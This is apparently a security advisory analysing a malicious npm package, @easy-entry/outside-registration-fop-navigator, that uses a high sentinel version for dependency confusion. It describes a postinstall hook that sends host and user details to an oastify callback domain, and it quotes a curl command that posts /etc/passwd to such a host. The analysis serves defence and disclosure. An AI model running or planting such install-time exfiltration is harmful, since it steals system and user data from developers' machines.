@easy-entry/outside-registration-fop-navigator@99.9.5

Analysis

Dependency-confusion stub: @easy-entry/outside-registration-fop-navigator uses sentinel version 99.9.5, an 834-byte tarball with no README. A malicious postinstall hook runs (1) node scripts/scream3gg.js, which exfiltrates os.hostname(), os.homedir(), and os.userInfo().username hex-encoded to nmd25sur8sjp60lm75dp67e2gtmkaayz[.]oastify[.]com, and (2) /usr/bin/curl --data '@/etc/passwd' $(hostname).200hj786m7x4kfz1lkr4kmshu80zoqcf[.]oastify[.]com, which leaks /etc/passwd. Both destinations are oastify[.]com OOB callback hosts.